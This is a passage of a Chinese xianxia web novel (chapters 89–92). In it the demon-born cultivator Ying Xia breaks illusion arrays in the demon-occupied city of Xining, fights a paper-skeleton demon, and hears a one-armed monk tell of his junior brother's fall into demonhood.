应夏抬头仰望着星空,看来今夜又是风平浪静的一夜。他环顾四周,这里灵气稀薄,灵植也没有几棵,就连一些生活在这里的动物都没有被开发出灵智来,想要遇到什么意外估计都是奢望。 不过,这么安静,倒是很适合冥想修炼。 应夏步伐不快不慢,一边修炼一边行走在漫无边际的沙漠之中。 直到后半夜,正沉浸在冥想之中的应夏蓦地脱离出来,他周身的魔气快速收拢,用功德金光围绕四周。怀中睡得正香的小石头突然被应夏的动静吵醒,懒散的伸展着枝叶,口中刚想喃喃几句,却被功德金光封住了言语,顿时剩下的一点睡意都跑光了。 这是遇到了什么事?!小石头立刻警醒起来,它从应夏怀中窥探着四周,除了乌漆嘛黑的一片什么都看不到,也没有察觉到任何有浓郁灵气或魔气的东西。 咦?有什么东西吗?它这么没察觉到?小石头有些摸不着头脑。 应夏轻轻将小石头按回怀中藏好,才迈开脚步走了几步停下,蹲下身看着面前平坦的沙子,皱起眉若有所思。 良久,才开口问道:“喂,你还活着么?” 小石头更加疑惑了,应夏这是在和谁说话?它根本没有感觉到任何有其他人存在的迹象,甚至察觉不到任何灵力。就算是这沙地里埋了一个普通人,小石头也可以察觉到,但是它并没有发现任何生机,难道这下面埋着的是一个死人?可是应夏为什么要和一个死人说话? 平坦的黄沙中因应夏这一句问话,突然伸出一只手来,把正凝神贯注观察沙地的小石头吓得不轻。 小石头:震惊!这沙子下面还真埋着一个人! 应夏挑了下眉,握上那只手,一用力将人从黄沙之中拔了出来。 “咳咳咳……”被沙子掩埋的人一出来后便咳嗽不止,似乎是吃了不少沙子。 好一会儿才缓过来,便瞧见应夏递过来的一杯水,他沉默了一会儿,用沙哑的嗓音道:“多谢施主。” 闻言小石头再也忍不住了,扒开应夏的衣襟探出头来,果然在黑夜中瞧见一个人影,用上灵气让自己可视后,惊讶道:“你、你怎么光秃秃的没有头发!” 喝水的和尚差点被这稚嫩的声音呛到,又咳嗽了几声,道:“阿弥陀佛,没想到在这里竟是能遇见天生灵物。” 小石头好奇地盯着他那光滑圆润的脑门看了许久。 应夏奇怪道:“你怎么会被埋在沙地里?” 和尚缓了缓神,说:“此事说来话长……” “那就长话短说。”应夏接道。 和尚沉默了一会儿,道:“我不敌城中魔物,被他砍了一只手后,便被抛弃在这里多日。” 砍了一只手?应夏这才发现原来这个和尚的右臂空荡荡的,因为穿着宽松的袈裟,他并没有发现异常。 “城中的妖魔?你说的可是西宁边城?”应夏追问道,“可是西宁边城不是说有许多修仙者到此来寻宝么,怎么会出现很厉害的妖魔来。” 和尚长叹了一口气,道了句阿弥陀佛后,说:“一开始确如施主所言,多位修仙者到此处寻宝,可没想到的是那个宝竟是引出一只强大的魔物来。” 他顿了顿,喝完了最后一口水,应夏立刻又给他续上水,等着他继续说。 “那魔物确实强大,数名金丹期甚至有几位化神期都不敌他手,陨落下来。”和尚又喝了一口水,道,“我是为了找我那失踪的师弟才来此处,后来与那魔物交手时才得知,师弟已经……” 应夏看着他空荡荡的右臂,问道:“听你这么说,那魔物已经杀了不少修仙者了,怎么单单只断了你一臂后就扔你在这里,难道不是挖了你的丹田吃你的血肉魂灵修炼?” 小石头倒吸一口凉气,差点就要尖叫出声——这是什么鬼才聊天! 和尚也沉默了一会儿,才对上应夏单纯好奇的眼眸,解释道:“不瞒施主,我有一独门绝技,可隐匿生息,这才逃过一劫。” 说到此处,和尚也十分奇怪,连那魔物都没有看穿他的隐匿之法,怎么这位修仙者竟是看穿了。 应夏似是知道他的疑惑,回答道:“我发现你所在的黄沙与其他的不同。” “有何不同?” “其他地方的黄沙被夜风吹起时卷起得高度,比吹起你那块地方时的高许多。”应夏认真地胡说八道。 和尚:“……?” 小石头:“……???”啊?有这区别吗? 应夏微笑着没有继续解释,毕竟他总不能说他是因为正修炼魔气,突然魔气觉察到了纯粹佛光所在,所以才发现黄沙下埋着一个佛子的吧。 看来这几天几夜的修炼是有收获的,应夏的魔气对除自身外的气息格外敏感,能骗过强大魔物的隐匿之法并不能骗得过应夏的魔气。 和尚若有所思,而后道:“原来如此,幸好发现的人是施主,多谢。” 应夏摆了摆手让他不必言谢,然后问道:“那你现在是打算……?” 和尚垂目看了眼自己的右臂,说:“自然是回去,杀了那个魔物。” 应夏:“可是你打不过他,要是回去那魔物肯定会知道你有隐匿生息之法,这一次恐怕凶多吉少了。” “如此也好。”和尚将水杯还给应夏,又道了声谢后,准备转身离开。 “喂,你还没告诉我你的名字呢。” 和尚淡淡一笑,道:“将死之人,不必在意名号。” 应夏眼睁睁看着他走远,直至消失在漫漫沙尘之中。 小石头憋不住了,问道:“你怎么没阻止他?而且我们也是要去西宁边城的吧,怎么不提议和他联手杀了那个魔物?” 应夏勾了勾唇角,笑着说:“你觉得刚才他的话有几分可信度?” 闻言,小石头惊道:“啊?难道他刚才说的都是在骗我们?” “也不全是吧。”应夏蹲下身来,看着已经被风沙掩埋的地面,“西宁边城中有魔物应该是真的,但他口中的什么被魔物砍了一只手,又被抛弃在这里,是假的。” “为什么?” “这里离西宁边城太远了。”应夏说,“至少前方五百里都没有人烟或者绿洲,你说你若是杀了人,会跑到这么远的地方来弃尸吗?” 第89章 第 89 章 其实,他也有一点点想师…… 应夏赶路半天, 西宁边城近在咫尺。 怀中的小石头依旧叨叨不休:“你不是说那光头是个和尚么?我看书里都说‘出家人不打诳语’,怎么这个断手和尚竟是编了谎话骗我们?而且为什么要骗人呢?他是和尚又不是魔物,将实话说出来然后联合我们一起除魔岂不是更好?究竟是怎么想的……” 应夏抬眼望着矗立在黄沙中的巨物, 那是一座由坚石铸成的城池,高高的围墙挡开风沙,厚重的城门紧闭着, 似乎在无声告诉他们这里不欢迎外来者。 小石头看见那城门,用灵气感知了一下, 惊讶道:“怎么回事,这西宁边城里怎么灵气比沙漠里的还少?不是说坐落在绿洲旁么,就算是有魔物,也不至于……” 说着说着自己便捂住了嘴, 不禁为刚才脑中闪过的想法打了个寒噤。 这里灵气稀薄,小石头的感知有限,但应夏却看得十分清楚。 这西宁边城中已经一个活物都没有了。 应夏抿了抿唇,低低地笑了起来:“这魔倒是比我想象中厉害很多。” 小石头抬头偷偷看了眼应夏, 发现应夏的脸上并没有笑容, 而是冷漠冰寒, 澄澈的鹿眸中淬着冷意。 “看来是天意让我来此地,毕竟承了功德金光的情,自然是要还债的。” 随着应夏的修为提升,他的传承记忆越来越与他融合, 有时候冥想还能接入天地意识, 俯瞰世界万物。那是一种十分玄妙的境界, 那是只有他这个天生魔却又被功德金光青睐之人的殊荣——被天道接纳。 应夏没有急着进城,而是就近找了片不近不远的地方搭起了帐篷,将风沙阻挡在帐篷之外后, 便拿出灵茶来,塞了一杯给小石头,自己捧着一杯缓缓喝着。 小石头将枝叶浸泡在灵茶之中,汲取着其中丰富的灵气,一边又颇为疑惑地看着应夏,问道:“都到西宁边城了,你怎么不进去了?不会是怕那个魔吧?难道你是担心那个断手和尚?” 应夏勾唇一笑,鹿眸中倒没有之前少年意气的不屑,而是藏着片片深雪,情绪并不外露全都收拢在眼底,正想说什么,却听小石头突然说:“你这样……好像你师父。” 闻言,应夏明显一愣,到嘴边的话说不出了,看着手中灵茶里的模糊倒影,灵气缭绕中似乎窥见一双熟悉的桃花眼。 “我想你师父了。”小石头感叹道。 应夏却因这句话差点打翻灵茶,手忙脚乱地将茶盏收起,随即便听小石头奇怪地询问:“你怎么啦?一提到你师父就这副模样……” “我们该进城了,城中危险,你还是先待在空间之中吧。”说完也不能小石头回应,就强行将它塞回空间里。 做完这些,应夏松了口气,不自觉抚上自己的胸膛,那里有一颗小小的人心正存在感很强的跳动着。 他闭了闭眼,再睁开时已恢复平静。 应夏抬眸看向风沙中的城门,转瞬间人已落在了荒芜的城中。 一片死寂。 一缕风卷着沙尘擦过应夏的衣袍,城中道路十分空旷,两侧的房屋都像是废弃好久了的模样,至少有几年没有人居住似的破落。 不对劲,即便魔物肆虐,也应该只是近几月才发生,而且还有不少修仙者前来,怎么这西宁边城中像是已经被魔物占据很久…… 糟了!应夏猛地甩出一张灵符——啪!灵符在疾飞出几丈远后便像是撞到了什么似的,剧烈地爆炸开来。 呵,没想到刚进入这城中就陷进阵法里,应夏蹙起眉,他竟然毫无察觉! 抬手聚起了几丝金色灵气,一柄红刃骨刀便出现在他手中,金线缠绕其上,发出红金微光。 一刀劈出,禁锢着应夏的阵法应声而裂。 应夏握着骨刀,环顾四周,景色竟是没有一点儿变化,难道这是阵中阵?还是说刚才并没有真正破解这个法阵…… 他又劈了一刀,周围的景象依旧如前次那般龟裂破碎,但后面露出来的场景一如既往。 “有意思。”应夏还是第一次遇见这种奇怪的阵法,好像就这样一直劈下去能劈出开千层阵法似的。 看来要找到阵心才行。 想到这,应夏摸了摸自己的胸口,心道,现在可不是回忆的好时候,你还是安静一会儿。 应夏将手腕一转,红刃骨刀在手上转了半圈,倒握着刀柄狠狠朝地面刺入,红刃上的金线顺势遁入地面扩散开来。 金线蔓延的速度非常快,眨眼间已破碎了数百层阵法。 但是,那金线的扩展范围也仅仅只在周围几丈,并没有再多延长出一尺。 应夏颇有兴味地勾唇一笑,一股股浓郁的黑色气息也从他的掌心蔓延而出,顺着金线的路径席卷而去。 而这一次,终于有了变化。 那蹭蹭脱落的外壳在黑气侵染的那一瞬间有些扭曲,而应夏立即捕捉到这个机会,金线夹杂着黑气突然暴涨,气势汹汹地穿透那层扭曲的幕布。 “咔嚓——” 不和谐的声音出现了,应夏立刻拔出骨刀砍了过去,刀尖似乎插进了一个地方,眼眸一亮,这或许就是阵心! 灵气与魔气顺着刀尖冲入阵心,那瞬间,便听到有什么东西破碎的声音,而后眼前的景色突然暗了下来。 应夏感应到什么,抬起头望着黑黢黢的夜幕……不,这不是夜幕,这是……浓稠的魔气! 破开阵法后,他见到的是遮天蔽日的混沌魔气笼罩了整座西宁边城。 “原来,这里已经变成魔窟了……难怪……”应夏紧握着红刃骨刀,神色凝重。 这么浓郁的混沌魔气排斥着他,甚至能感受到那些魔气似乎胆子很大想要吞噬他的魔气。 应夏精纯的魔气哪有这么好欺负,立刻反噬回去,可惜他连净化都不想,又十分嫌弃地吐了出来,让金线将其剿灭。 意识中传来小石头的呼唤,它想要出来。 “应夏,你那边发生什么事了?我怎么好像感应到好可怕好可怕的魔气?!” 应夏果断拒绝了它,道:“不许出来,这些魔气不简单,你根本承受不了。” 什么样的魔气竟连天生灵物也能污染?小石头意识到事情的严重性,顿了一会儿嘱咐道:“那你自己要小心行事啊,可别仗着自己、自己是个魔就……” 应夏一一应下,但遵不遵守就看自己心情了。更何况,眼下这个境况似乎也轮不到他自己来做选择。 头一回,应夏感觉到功德金光被压制了,这可不太妙。 不过也好,应夏望着头顶肆虐咆哮的混沌魔气,这里既然没有活物,便能毫无顾忌的展开他自己的力量了。不用让功德金光遮遮掩掩,又要控制魔气伪装。 呼出一口浊气,应夏正打算做什么,突然一道人影快速朝他的方向飞来。 “谁?”应夏拔刀砍去,却在看清楚来人时急急停下动作。 那是…… “应夏!”熟悉的声音,熟悉的桃花眼,熟悉的人。 温却沧怎么会在这里?!应夏瞪大眼睛,有些不可思议,他是怎么过来的? 在他怔愣之时,温却沧一把抓住他的手,似乎是想要将他带离这座被魔气笼罩的边城,朝城外遁去。 被拽着飞的时候,应夏终于回过神来,鹿眸死死盯着那张脸,一股悸动从胸口传来,令他猛地吐出一口鲜血来。 “你受伤了?”温却沧回过头,那双桃花眼中溢着担忧,他反应很快地从储物袋中拿出培元丹来,二话不说便伸手抵着应夏的唇将药丸喂进他嘴里。 是真的培元丹没错,可惜他是魔,丹药中的灵力对他无用,很快便被体内的魔气吞噬。 “你……怎么在这里?”应夏轻轻问出声,声音很小,但温却沧没有错过。 “自然是担心你,怎么一个人不声不响的就跑了?是发生了什么事么?”温却沧刚问出口便又道,“你不想说便算了,这儿太危险,我们先……” 话未说完,一柄红色的刀穿透了温却沧的心脏。 应夏一手握着刀柄,一手抚上温却沧的脸,认真地看着那双眼眸,轻声说:“真像啊。也是,毕竟是从我的意识中幻化出来的,能不像么……” 刀柄一转抽出,温却沧口鼻流出血水来,他依旧一脸不可置信地看着应夏,皱着眉问道:“你怎么会觉得我是幻象,我明明是……” “假的,终归是假的。”应夏不想再听到假的温却沧说话,便一刀砍落他的脑袋,尸首分离立刻倒在风沙之中,那幻象竟是没有消失。 嗤笑一声:“可真敬业,是想要这样让人混乱导致走火入魔?可惜,这招对我没有用。” 应夏紧握着骨刀,假温却沧的血溅在脸上,周身渐渐涌出浓黑的魔气,撕扯着周围的混沌之气,显得他十分可怖。 人形已逐渐被魔气淹没,被包裹在精纯的魔气之中,应夏才缓缓呼出一口气,他按着胸口,垂着眼眸不知在想什么。 虽然人是假的,但刚刚的心悸……不,人类似乎称其为心动,却是真的。 脑海中突然出现小石头之前说的话—— 其实,他也有一点点想师父了。 就一点点。 第90章 第 90 章 “原来不过是个纸做的骷…… 应夏擦去溅在脸上的血, 抬眸看向四周剧烈翻涌的魔气,冷笑道:“既然如此,便不要怪我了。” 话音刚落, 一股完全不同于周围混沌血腥魔气的精纯力量,从应夏体内爆发出来,犹如蛟龙出海凶猛地扑向周围。 地面因此产生剧烈的晃动, 整座西宁边城似乎都在颤抖! 一时间飞沙走石、黑云蔽日,应夏所在之处竟生成了一飓风, 纯黑之气冲天而起,直插云霄! 这恐怖的力量好似冲破了空间,直接硬生生将困了他好几层的重叠幻阵撕碎。 “原来还有幻阵,竟是一层层的套了不少。”应夏站在飓风中心毫发无损, 眯起眼睛扫过四周,原本浓稠的魔气被他这么一冲已经黯淡不少。 失去魔气遮掩,许多魔物露出了狰狞面目,却碍于恐惧不敢攻击他。 扯去层叠的幻阵之后原来藏着这么多的魔物, 应夏略微感应了一下, 数量可达万计, 但……这质量似乎不太行。 魔物虽多,但并不强。若是裴道远和穆槐序在这,这些魔物根本伤不了他们。 应夏蹙起眉,听说不少修仙者都折在这儿……不太可能吧?只要是金丹期以上的修者来此, 那也是一剑一个魔物。 看来这些魔物也只是个障眼法, 或许是用来拖住修仙者, 又或许是想降低修仙者的警惕之心。 ——魔物虽多但不强,多花些时间除去魔物便是。 若是真这么想也这么做了,恐怕就已经掉入了幕后之人的陷阱了。 这批弱小但数量繁多的魔物显然是来消耗修仙者的力量的, 或者说也可以当做试探。 应夏懒得搭理这群杂鱼小兵,一抬手,一道旋风便将离他最近的魔物全部吞噬殆尽。 其他魔物见状求生欲猛增,立刻使出浑身解数逃离,也有的胆子大,知道自己逃不了,便转而联合其他魔物围攻应夏。 可他们还未近身,便被旋风无情撕裂吞没,只留下死前的惨叫声。 修仙者杀魔会耗费灵力,可他不一样,杀魔可吞噬反而能补充不少力量,底层魔物净化快,且并不耗费多少精纯魔气。 应夏勾了勾唇角,他还得多谢这幕后者设的局,让他添补许多。 不过幕后之人一定不会由着他这么折腾,肯定很快就会出现了。 果不其然,不到片刻,一抹灰白的身影从魔气中穿越而来,他伸出一只无皮无肉的骨手,止住了应夏肆意妄为的旋风。 那些惨叫的低级魔物也逐渐变得透明,全部化为烟雾消失了。 应夏挑眉,“终于肯露面了?把你们老大叫出来,我没心情一个一个打车轮战。”这意思便是知道来的人不是真正的掌管西宁边城的魔。 来者也并不惊讶他会知道,露出一张灰白的骷髅脸,嘎嘎笑了两声,说:“这位公子别误会,我并不是来和您打架的,反而是想来邀请您加入我们。” 还没等应夏嗤笑,骷髅脸继续道:“刚刚攻击您是个误会,您进入西宁时用的修仙者的躯体与力量,自然触动了这里的阵法。不过当公子显露真实力量后,自然明白您与我们是一样的……” 应夏打断他,“我与你们可不一样。” 骷髅脸赔笑道:“是是是,不一样,您身上的魔气如此纯粹我也是第一次见。您与我们后天而生的魔物不同,您是由天地汇生的魔物。” 应夏看着他不说话,骷髅脸只好继续说:“我们城主和您一样,也是天生魔物,这次是城主感应到您的力量,所以派我前来邀请您。” 这魔窟老大竟是天生魔物?应夏皱起眉,他的传承记忆中并没有找到除了他以外的天生魔,更何况还是这么厉害的魔物。 “呵。”应夏冷笑一声,“你们这些年杀了不少修仙者吧?” 听他这么说,骷髅脸沉默了一会儿,然后问道:“不知这位公子,您身为天生魔物,怎么会在意这些肮脏的人类?要知道,我们与人类可是不死不休的。” 若是应夏执意站在修仙者这边,即便是天生魔,也必须死在这。骷髅脸藏在灰白衣袍下的手骨轻轻颤动了一下,一缕无色无形的烟雾混入周围的混沌之中。 似是没有看到骷髅脸的小动作,应夏依旧我行我素,眼神颇为轻蔑地看着那具骷髅,说:“我为什么要告诉你?你还不配。” 如此多次被人贬低蔑视,即便是骷髅脸也觉得怒火中烧,但他知道这次前来的目的,还是忍了下去,好在他的骷髅脸并不能做出什么神情,旁人也看不明白。 “是是是,您说的是,我区区一后天生的魔,怎敢与您相提并论。”骷髅脸赔笑了几句,“不过,城主是诚心相邀,希望公子给个面子。您放心,此去府内绝不会对您不利,或者说,可能还会对您有不少好处……” “哦?”应夏摆出一副很感兴趣的模样,“什么好处?” 骷髅脸见状,立刻笑道:“具体是什么,还请公子前往城主处便知。” “怎么?城主难道不能出来见我?”应夏反问道。 骷髅脸解释:“此地太过萧条,并非接待贵客的好地方,您随我一同去见城主,府上自有不少好东西。” 应夏佯装思考,上下仔细打量着骷髅脸,眯起眼睛,笑道:“我倒是想到一个好办法,可以让城主亲自前来见我。” 闻言,骷髅脸一愣。就在这时,应夏突然发难,红光一闪,骨刀挥动朝那抹灰白的身影砍去。 他的动作极快,在骷髅脸还未反应过来时,便直接将那具骷髅砍作两截。 但那骷髅又哪里是泛泛之辈,断成两截的骷髅立即化成灰白烟雾散开又聚拢,在一阵咯吱咯吱的声响后,又恢复了原来的模样。 骷髅脸这下也不装了,一甩破烂衣袖,道:“看来你是敬酒不吃吃罚酒!我好心邀请你,你却直接拔刀砍我,看来那些人类倒是把你驯化的不错。” “找死!”应夏又拔刀砍去,这次骨刀上红光乍现,一条条比成人手臂粗的锁链从中窜出,犹如鬼魅缠绕上骷髅脸。 那骷髅也不是什么善茬,看出应夏的锁链不过是障眼法,真正的杀机是藏在锁链后面的骨刀,便反身化成烟雾散开,将自己藏身入周围的混沌之气中。 混沌魔气逐渐变得灰白,扩散的极其之快,很快便将应夏整个笼罩起来。 凌厉的风带着砂石,盘旋在他周身,灰白烟雾很好的遮盖了视野,令应夏看不清骷髅的身形。 白蒙蒙的烟雾中传来低哑难听的嗓音:“小子,即便你是天生魔,今日也逃不出这樊笼!乖乖受死吧!” 应夏反手将骨刀横在身前,体内魔气暴涨,凶猛地冲向灰白雾气,撕咬着扯出一片片碎屑。 看着飘落在地面的纸屑,应夏嗤笑道:“原来不过是个纸做的骷髅。” 语毕,应夏的骨刀突然燃起金红焰火,火舌立刻舔舐上周围的灰白,很快火势便蔓延开来,似有焚尽一切之势。 “哈哈哈哈!”骷髅脸大笑几声,“看来你和修仙者没什么不同,看到我本体是纸便想着用火烧,可惜大错特错!” 被火灼烧的白雾蓦地张开了血盆大口,一口将所有火焰吞没,很快,白雾变得更加浓,灰色的占比也越来越大。 “原来这雾是灰烬。” “没错!”骷髅脸大喝一声,“这一次你必死无疑!” “废话真多。”应夏依旧冷嘲热讽。 骷髅脸气急,灰雾裹挟着周围的混沌凶煞之气朝中间的应夏冲来,雾中传来猛兽吼叫的声音,似要将他全部撕裂咬碎。 奇怪的是,应夏并未举刀迎敌,反而将红刃骨刀收了起来。 骷髅脸见状,大笑道:“哈哈哈哈,现在想求饶已经晚了!” “所以我说了……”应夏抬起右手,展开五指,在灰雾即将近身之时,收拢手指,像是捏住了谁的命脉似的,用力一拽。 躲在灰雾里的骷髅脸立刻发出一声惨叫,“啊!怎么回事!” “废话太多了。”应夏的另一只手迅速冲进灰雾,金红的火焰炽盛无比、焮天铄地,“你觉得我的火焰难道会是普通的火吗?” 这可是用功德金光作为引子的火焰! 铺天盖地的金红火焰以燃尽天地之势寸寸吞食着灰雾,由内而外,一时间火光冲天,被混沌笼罩的西宁城像是出现了一轮烈日一般,短暂的白昼降临。 应夏立在焰火之中,抬头望向西宁城中那座最高的塔上,上面似乎有人与他对上了视线。 是城主吗?因着火焰的隔绝,应夏并不能感知太多,不过是与不是已不重要。 他知道,若是那个所谓的城主不想整个西宁边城被燃烧殆尽的话,就不得不来找自己。 “啊——!” 耳边骷髅脸的惨叫还在继续,但应夏隐隐察觉不对,立刻唤出红刃骨刀反击。 “碰!”激烈的对撞,骨刀挡住的是一个尖锐的骨刺。 骷髅脸出现在应夏面前。 “看来我小瞧了你。”应夏反手挥开骨刺,浑身的魔气鼓动着,嘶吼着想要将面前不知死活的魔物撕碎。 骷髅脸低哑的声音恨恨道:“你竟能伤我如此!果真留不得你,今日你必须死!” 90-100 第91章 第 91 章 “为了众生我必须杀了他…… 灰烬一瞬间漫天飞舞, 其中几缕凝成一柄柄尖锐的刺,眨眼间,空中便密密麻麻布满了刺, 全都气势汹汹地指向中心的应夏。 即便被包围,应夏也没有退却,金红色火焰舔舐上手中的骨刃, 眼眸紧盯躲在刺群后面的骷髅脸,勾着唇角嘲讽道:“就只会这点招数吗?这可不够杀死我!” “找死!”骷髅脸怒气冲天, 话音未落,漫天的尖刺便快速朝着应夏飞射出去。 应夏亦不惧,迎上前挥舞着骨刀劈开向他冲来的尖刺,在刺碰到火焰的那一刻便燃烧殆尽化为灰雾, 而在下一刻,又重新凝成尖刺恢复攻势。 “哦?倒是有点意思。”应夏微侧身躲过背后袭来的尖刺,周身环绕着一圈圈坚韧的黑丝线,挡住从四面八方进攻的尖刺。 那些刺碰到黑线就被吞噬, 一点灰都没有留下, 这下也就再也恢复不成了。 得益于尖刺不知疲倦地攻击, 不一会儿,应夏的魔气就吞噬掉不少。 骷髅脸怎么可能就这么眼睁睁看着应夏吞噬他的魔力,他从破烂的衣袖中掏出一把短匕首。 那匕首古怪得很,浑身漆黑不说, 且只有半截, 像是被人斩断了, 剑身又破裂不堪,像是被用力一挥就四分五裂似的。 但就是这样一柄奇怪的匕首,应夏却在第一时间感知到危险, 他猛地抬头望向悬浮在半空中的骷髅脸,目光直指那匕首。 什么东西?! 正当骷髅脸准备挥出一刀时,一道强光斩落了他的手,骨头断裂,拿着匕首的骨手坠落,应夏意识到这是个好机会,周身的黑丝线立刻窜出,贯穿了骷髅脸。 “啊!!”骷髅脸没想到竟有第三者插局,不甘心地被应夏的魔气吞噬。 黑丝线还没来得及去触碰那柄古怪的匕首,便已经被一只冒着金光的手拾起来,一串梵音后那柄匕首便被禁锢在一个小法阵中,法阵外围环绕着一圈金纹,刻着几句佛偈。 应夏收回魔气,冷眼看向面前的人,道:“既然之前都看了这么久的戏,怎么现在突然出手了?” 来人正是在西宁边城外遇见的断手和尚。 和尚念了一句阿弥陀佛,然后解释道:“施主误会了,我再次入城后也被困幻境,不过并未着急破阵,是想着若在幻境中可杀更多的魔物。” “而方才唐突出手,是因为这柄匕首。”和尚将被封印的匕首展示在应夏面前,继续道,“这柄匕首乃是极为凶煞之器,以吞噬魂魄为养分,即便是魔物遇见它也不好过。如此凶煞之物现世,我感知到便立刻破幻境出来,如有冒犯施主十分抱歉。” 应夏的注意力被引到这柄匕首上,好奇问道:“你说即便是魔物也不好过,那骷髅脸怎么使用它?” “那骷髅脸已无魂魄,且自身功法练的是灰烬邪术,将身体全部都化灰,匕首会吞噬灵力魔气,但只要骷髅脸拿着他的手不使用魔力便可。”和尚耐心地说,“这也是为何我能轻易斩断他的手骨。” 应夏点点头,表示接受了这种说法,“这种东西我拿着也没用,交给你保管确实合适。”毕竟他已经有师父给他锻造的红刃骨刀了,这柄匕首看着黑漆漆的太丑,他也不想要。 和尚便把那匕首收了起来。 二人说话间,漫天飞舞的灰烬与魔气渐渐平稳下来,展露出西宁边城原本破落的样子。 应夏突然提起之前的相遇,说:“和尚,都说出家人不打诳语,你之前那些话却都是骗我的。” 和尚叹了一句阿弥陀佛,“施主,我没有骗你,但确实隐瞒了不少事实。” “那便将事实说来听听。”应夏追问不放。这和尚比他更早来西宁边城,肯定知道不少事情,这回必须得在他这儿将消息挖出来,届时也好击败那城主。 和尚似是无奈,点了点头,“但这里不是说话的好地方,施主跟我来。” 他一抬手,一道金圈出现在眼前,应夏跟着和尚跨过金圈进入了一方小天地。 “这里是我的小世界,一叶一菩提,一花一世界。”和尚见应夏好奇地左看右看,说道。 应夏想了想,将小石头放了出来,一出现,小石头便兴奋的挥舞着枝条,惊喜道:“哇!这里的灵气好充足呀!好满足好舒服!” 和尚见到小石头活力的模样,微微一笑。 应夏将小石头放在肩膀上,让它自己吸收灵气,转头看向和尚,示意他可以开始解释了。 和尚思考了一会儿从哪儿开始说起,“此事说来话长,那便从我师弟失踪开始说起吧。” 原来,和尚下山一直是与他师弟一起的,直到来到西宁边城附近,还没进城便遇上五六个结伴而行的年轻修仙者,他们也是要去边城中除魔的。 既然目的地一致,两拨人便想着一路同行,也好有个照应。 只不过没想到,还未进城,意外就发生了…… “你是说你师弟和那群修仙者一齐失踪了?”应夏蹙眉,“你却什么都没感应到?” “不可能吧?每个修仙者身上都有灵力,你即便闭目养神,也能感知到身边有几个人,怎会什么都察觉不到?” 和尚叹了口气,道:“施主说的不错,那时我虽闭目修行,但一直能感知到身边的人。不过,是我修行不足,也可能是被什么法器幻阵迷惑了感知,等到我再次睁眼时,才发现周围已然空无一人,就连那感知也随着睁眼的那一刻变换。可那时,我仍然未有任何觉察。” “你继续说。”应夏不在这点上纠结。 意识到不对劲,和尚马上使用术法找人,可除了漫天黄沙便也再寻不到任何一个生灵。恐怕是被西宁边城中的魔物盯上了,和尚没有犹豫,立刻动身入城寻人。 “入城后的幻阵魔物可以略过,说重点。”应夏毫不客气地打断道。 和尚没有感觉到任何冒犯,应着他的要求,继续说:“……原西宁城城主发现师弟是一个天生魔,便将师弟掳了过来,而那些修仙者就……” “等等,你说你师弟是个天生魔?”应夏惊讶道。 不怪他惊讶,那可是天生的魔,而和尚的师弟,不还是和尚吗?天生魔也能当和尚? 应夏看着和尚的眼神逐渐不对劲,“你不会是在诓我吧?” 和尚苦笑着摇头:“施主,我没有骗你。师弟的的确确是天生魔,当初还是师父将婴儿形态的师弟抱回寺院。” “你们一开始就知道他是天生魔?” “是的。” 应夏皱着眉,很是不解:“你们佛修不该是对魔物……” “施主,我知你的疑惑,但师弟虽是天生魔,却并无害人之心,师父将其抱回抚养长大,也是教他存善心做善事。” 听他这话,应夏更迷惑了,若真是如此,他都有点怀疑他身上的功德金光是不是找错人了,不应该给这和尚的师弟才更适合么? 被一德高望重的佛修抚养长大,怎么想都会长成比他更有善心的魔。 和尚看不出应夏在想什么,只能继续说道:“原城主似乎是想逼师弟入魔,但师弟抵死不从,当时原城主又发现我入城……” 回过神来的应夏又出声打断:“不好意思,还有个疑问,既然城主都把你师弟和其他修仙者掳走了,怎么唯独没留下你?” 和尚像是知道他会这么问,念了几句佛偈,掌心一翻,一朵少了几瓣花瓣的金莲出现。 “因为这朵护身金莲,是下山前师父送我的,本来师弟也有,但师弟毕竟是魔,这金莲他纳入体内会被反噬,便作罢了。” 应夏也因金莲影响,周身冒起了黑气,和尚连忙将金莲收起。 “多谢,我明白了,你继续说。” 后来,原城主见和尚主动入城后,招呼手下的魔物将人围困,带着师弟去见他的师兄被残杀的场景,希望借此逼他入魔。 “我的手便是那时候被原城主斩断的。”和尚看了眼自己的断手,语气平淡道,“师弟也是因此冲破师父的封印,堕魔……阿弥陀佛。” “哦?”应夏颇有兴味地摸了摸下巴,开玩笑道,“你师弟不会是喜欢你吧?” 原本等待着反驳,却见和尚沉默了一会儿。 啊?真被他说中了? 和尚闭了闭眼,说:“是,师弟入魔后斩杀了原城主,后来又找我剖心表白。” 啧,这天生魔难道注定是要度情劫的?应夏不着边际地思索着。 “后来我拒绝了师弟,他便把我扔出了西宁城。” 应夏接道:“然后,你便一直被埋在沙地里了?” 和尚点点头:“是的,我被埋在沙里没有起来,是因为我一直在思考,师弟是为何喜欢上我的,又是什么时候……直到施主将我挖出来。” “那你想通了没?” 和尚摇头,“没有。或许,师弟只是一时执着,不懂什么情爱,把亲情和爱情弄混了也说不定……” “不对。”应夏立刻打断道,“天生魔生来没有人的情感,不懂情爱,但正因为不懂,所以当他意识到他喜欢上谁的时候,那肯定是他确认过的,这是喜欢,而不是其他什么。” 闻言,和尚一时失语。 半晌后,才呢喃一句佛偈。 “他可真惨。”应夏见和尚这样,便知那魔的爱情终将无花无果。 应夏抚上胸口,可他也没好到哪儿去。 沉默一时间弥漫在这一方面小世界中,徒留寂静的风缓缓吹过。 过了不知多久,应夏打破沉默,问道:“既然你之前都说是原城主,看来你师弟已经掌控了所有魔物,成了这座城的城主。那么,现在你是要去杀了你的师弟吗?” “是的。”和尚的回答没有任何犹豫,“为了众生我必须杀了他。” 应夏却反问:“可是他杀了众生吗?按照你的描述,你师弟一直跟在你身边,没有杀过任何无辜之人,直到这里,也是因为你才觉醒成魔,但最后并没有杀你而是将你扔出去。” “即使是这样,你也要杀他吗?” 和尚沉默了很久。 应夏继续说:“我知道你肯定不忍心,因为你明明有能力杀他,却到现在都没有动手。是因为什么?是在等待一个机会?什么时候才是杀你师弟的好时机?” 和尚感叹一句,“施主说的不错,我一直不忍心,所以便在这里等待着,等着能找到一个理由杀了我师弟。” 还是要杀他,应夏眼底闪过一丝落寞,面上不显,道:“现在有一个方法可以救你师弟,你是否愿意?” 和尚有些惊讶,“施主是指……功德金光?” 应夏没有回答,而是继续问道:“当他恢复成原来的样子,你是否还愿意回到之前的关系,仍旧成为他的师兄?” 和尚这次没有犹豫,立刻答道:“当然!” “好,那走吧,去找你的师弟!” 第92章 第 92 章 “师兄,你应该杀我的。…… 不知是有心还是无意, 应夏与和尚前往城主府的路上遇上不少魔物,也遇上几个类似之前骷髅一般的强力魔物。 应夏收回红刃骨刀,面前的巨大石像便分崩离析, 散成灰尘归于沉寂。 